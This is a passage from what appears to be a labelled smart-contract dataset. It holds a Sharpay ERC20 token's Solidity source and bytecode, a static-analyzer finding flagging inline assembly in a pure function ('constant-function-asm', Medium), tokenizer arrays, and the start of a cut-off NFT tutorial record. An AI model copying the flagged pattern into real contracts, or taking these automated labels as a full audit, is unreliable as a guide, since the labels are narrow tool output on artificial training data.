= a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Sharpay"; string public constant TOKEN_SYMBOL = "S"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x625B05c9a1d1148D28D44354950013492124094d; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[5] memory addresses = [address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0x973a0d5a68081497769e4794e58ca64b020dc164),address(0x7dddf3bc31dd30526fc72d0c73e99528c1a4a011)]; uint[5] memory amounts = [uint(621000000000000000000000000),uint(496800000000000000000000000),uint(124200000000000000000000000),uint(100000000000000000000000000),uint(1778000000000000000000000000)]; uint64[5] memory freezes = [uint64(1609441201),uint64(1577818801),uint64(1546282801),uint64(0),uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
0x6080604052600436106101d65763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416623fd35a81146101db57806302d6f7301461020457806305d2035b1461024c57806306fdde0314610261578063095ea7b3146102eb5780630bb2cd6b1461030f578063158ef93e1461034057806317a950ac1461035557806318160ddd14610388578063188214001461039d57806323b872dd146103b25780632a905318146103dc578063313ce567146103f15780633be1e9521461041c5780633f4ba83a1461044f57806340c10f191461046457806342966c681461048857806356780085146104a05780635b7f415c146104b55780635be7fde8146104ca5780635c975abb146104df57806366188463146104f457806366a92cda1461051857806370a082311461052d578063715018a61461054e578063726a431a146105635780637d64bcb4146105945780638456cb59146105a95780638da5cb5b146105be57806395d89b41146105d3578063a9059cbb146105e8578063a9aad58c1461060c578063ca63b5b814610621578063cf3b196714610642578063d73dd62314610657578063d8aeedf51461067b578063dd62ed3e1461069c578063f2fde38b146106c3575b600080fd5b3480156101e757600080fd5b506101f06106e4565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610228600160a060020a03600435166024356106e9565b6040805167ffffffffffffffff909316835260208301919091528051918290030190f35b34801561025857600080fd5b506101f0610776565b34801561026d57600080fd5b50610276610786565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f757600080fd5b506101f0600160a060020a03600435166024356107bd565b34801561031b57600080fd5b506101f0600160a060020a036004351660243567ffffffffffffffff60443516610823565b34801561034c57600080fd5b506101f06109c1565b34801561036157600080fd5b50610376600160a060020a03600435166109e4565b60408051918252519081900360200190f35b34801561039457600080fd5b506103766109f5565b3480156103a957600080fd5b506102766109fb565b3480156103be57600080fd5b506101f0600160a060020a0360043581169060243516604435610a32565b3480156103e857600080fd5b50610276610a5f565b3480156103fd57600080fd5b50610406610a96565b6040805160ff9092168252519081900360200190f35b34801561042857600080fd5b5061044d600160a060020a036004351660243567ffffffffffffffff60443516610a9b565b005b34801561045b57600080fd5b5061044d610c0f565b34801561047057600080fd5b506101f0600160a060020a0360043516602435610c88565b34801561049457600080fd5b5061044d600435610d80565b3480156104ac57600080fd5b50610376610d8d565b3480156104c157600080fd5b50610376610d99565b3480156104d657600080fd5b50610376610d9e565b3480156104eb57600080fd5b506101f0610e03565b34801561050057600080fd5b506101f0600160a060020a0360043516602435610e13565b34801561052457600080fd5b5061044d610f03565b34801561053957600080fd5b50610376600160a060020a03600435166110a6565b34801561055a57600080fd5b5061044d6110cf565b34801561056f57600080fd5b5061057861113d565b60408051600160a060020a039092168252519081900360200190f35b3480156105a057600080fd5b506101f0611155565b3480156105b557600080fd5b5061044d6111d9565b3480156105ca57600080fd5b50610578611257565b3480156105df57600080fd5b50610276611266565b3480156105f457600080fd5b506101f0600160a060020a036004351660243561129d565b34801561061857600080fd5b506101f06112c8565b34801561062d57600080fd5b50610376600160a060020a03600435166112cd565b34801561064e57600080fd5b50610406610d99565b34801561066357600080fd5b506101f0600160a060020a0360043516602435611353565b34801561068757600080fd5b50610376600160a060020a03600435166113ec565b3480156106a857600080fd5b50610376600160a060020a0360043581169060243516611407565b3480156106cf57600080fd5b5061044d600160a060020a0360043516611432565b600181565b600080805b836001018110156107425760036000610711878667ffffffffffffffff16611452565b815260208101919091526040016000205467ffffffffffffffff16925082151561073a5761076e565b6001016106ee565b6004600061075a878667ffffffffffffffff16611452565b815260208101919091526040016000205491505b509250929050565b60065460a060020a900460ff1681565b60408051808201909152600781527f5368617270617900000000000000000000000000000000000000000000000000602082015290565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6006546000908190600160a060020a0316331461083f57600080fd5b60065460a060020a900460ff161561085657600080fd5b600154610869908563ffffffff61148616565b6001556108808567ffffffffffffffff8516611452565b6000818152600460205260409020549091506108a2908563ffffffff61148616565b600082815260046020908152604080832093909355600160a060020a03881682526005905220546108d9908563ffffffff61148616565b600160a060020a0386166000908152600560205260409020556108fc8584611493565b604080518581529051600160a060020a038716917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26040805167ffffffffffffffff85168152602081018690528151600160a060020a038816927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a2604080518581529051600160a060020a0387169133916000805160206119fc8339815191529181900360200190a3506001949350505050565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006109ef8261162d565b92915050565b60015490565b60408051808201909152600781527f5368617270617900000000000000000000000000000000000000000000000000602082015281565b60065460009060a860020a900460ff1615610a4c57600080fd5b610a57848484611648565b949350505050565b60408051808201909152600181527f5300000000000000000000000000000000000000000000000000000000000000602082015281565b601290565b6000600160a060020a0384161515610ab257600080fd5b33600090815260208190526040902054831115610ace57600080fd5b33600090815260208190526040902054610aee908463ffffffff6117ad16565b33600090815260208190526040902055610b128467ffffffffffffffff8416611452565b600081815260046020526040902054909150610b34908463ffffffff61148616565b600082815260046020908152604080832093909355600160a060020a0387168252600590522054610b6b908463ffffffff61148616565b600160a060020a038516600090815260056020526040902055610b8e8483611493565b604080518481529051600160a060020a0386169133916000805160206119fc8339815191529181900360200190a36040805167ffffffffffffffff84168152602081018590528151600160a060020a038716927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a250505050565b600654600160a060020a03163314610c2657600080fd5b60065460a860020a900460ff161515610c3e57600080fd5b6006805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600654600090600160a060020a03163314610ca257600080fd5b60065460a060020a900460ff1615610cb957600080fd5b600154610ccc908363ffffffff61148616565b600155600160a060020a038316600090815260208190526040902054610cf8908363ffffffff61148616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206119fc8339815191529181900360200190a350600192915050565b610d8a33826117bf565b50565b670de0b6b3a764000081565b601281565b6000806000610dae3360006106e9565b67ffffffffffffffff909116925090505b8115801590610dcd57508142115b15610dfe57610dda610f03565b91820191610de93360006106e9565b67ffffffffffffffff90911692509050610dbf565b505090565b60065460a860020a900460ff1681565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e6857336000908152600260209081526040808320600160a060020a0388168452909152812055610e9d565b610e78818463ffffffff6117ad16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000806000806000610f16336000611452565b60008181526003602052604090205490955067ffffffffffffffff169350831515610f4057600080fd5b8367ffffffffffffffff164267ffffffffffffffff16111515610f6257600080fd5b610f76338567ffffffffffffffff16611452565b600081815260036020908152604080832054600483528184208054908590553385529284905292205492955067ffffffffffffffff90911693509150610fc2908263ffffffff61148616565b3360009081526020818152604080832093909355600590522054610fec908263ffffffff6117ad16565b3360009081526005602052604090205567ffffffffffffffff8216151561102f576000858152600360205260409020805467ffffffffffffffff19169055611069565b600085815260036020526040808220805467ffffffffffffffff861667ffffffffffffffff19918216179091558583529120805490911690555b60408051828152905133917fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e919081900360200190a25050505050565b600160a060020a0381166000908152600560205260408120546110c88361162d565b0192915050565b600654600160a060020a031633146110e657600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b73625b05c9a1d1148d28d44354950013492124094d81565b600654600090600160a060020a0316331461116f57600080fd5b60065460a060020a900460ff161561118657600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031633146111f057600080fd5b60065460a860020a900460ff161561120757600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60408051808201909152600181527f5300000000000000000000000000000000000000000000000000000000000000602082015290565b60065460009060a860020a900460ff16156112b757600080fd5b6112c183836118ae565b9392505050565b600081565b600080600360006112df856000611452565b815260208101919091526040016000205467ffffffffffffffff1690505b67ffffffffffffffff81161561134d576001909101906003600061132b8567ffffffffffffffff8516611452565b815260208101919091526040016000205467ffffffffffffffff1690506112fd565b50919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611387908363ffffffff61148616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a0316331461144957600080fd5b610d8a8161197d565b6801000000000000000091909102177f57495348000000000000000000000000000000000000000000000000000000001790565b818101828110156109ef57fe5b6000808080804267ffffffffffffffff8716116114af57600080fd5b6114c3878767ffffffffffffffff16611452565b94506114d0876000611452565b60008181526003602052604090205490945067ffffffffffffffff169250821515611523576000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff8816179055611624565b611537878467ffffffffffffffff16611452565b91505b67ffffffffffffffff83161580159061156657508267ffffffffffffffff168667ffffffffffffffff16115b1561159f575060008181526003602052604090205490925067ffffffffffffffff908116918391166115988784611452565b915061153a565b8267ffffffffffffffff168667ffffffffffffffff1614156115c057611624565b67ffffffffffffffff8316156115fa576000858152600360205260409020805467ffffffffffffffff191667ffffffffffffffff85161790555b6000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff88161790555b50505050505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561165f57600080fd5b600160a060020a03841660009081526020819052604090205482111561168457600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156116b457600080fd5b600160a060020a0384166000908152602081905260409020546116dd908363ffffffff6117ad16565b600160a060020a038086166000908152602081905260408082209390935590851681522054611712908363ffffffff61148616565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611754908363ffffffff6117ad16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206119fc833981519152929181900390910190a35060019392505050565b6000828211156117b957fe5b50900390565b600160a060020a0382166000908152602081905260409020548111156117e457600080fd5b600160a060020a03821660009081526020819052604090205461180d908263ffffffff6117ad16565b600160a060020a038316600090815260208190526040902055600154611839908263ffffffff6117ad16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206119fc8339815191529181900360200190a35050565b6000600160a060020a03831615156118c557600080fd5b336000908152602081905260409020548211156118e157600080fd5b33600090815260208190526040902054611901908363ffffffff6117ad16565b3360009081526020819052604080822092909255600160a060020a03851681522054611933908363ffffffff61148616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206119fc8339815191529281900390910190a350600192915050565b600160a060020a038116151561199257600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201d1881c2ed3395a7b8c8fe7586b9a0a22df1981e02bb9f65e1b74cc192bb9b810029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2692, 29292, 2683, 23499, 2094, 2683, 21472, 8889, 2683, 2629, 2278, 16068, 17788, 2487, 2546, 2581, 2487, 2546, 2850, 14526, 2063, 23632, 16409, 2497, 14141, 2497, 1013, 1008, 1008, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1008, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 8276, 2236, 2270, 6105, 2004, 2405, 2011, 1008, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1008, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1008, 1008, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 1010, 1008, 2021, 2302, 2151, 10943, 2100, 1025, 2302, 2130, 1996, 13339, 10943, 2100, 1997, 1008, 6432, 8010, 2030, 10516, 2005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,384
0x96b0f438e3545f7f1667bbb027a1ca02fec82de1
// SPDX-License-Identifier: GPL-3.0 // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or 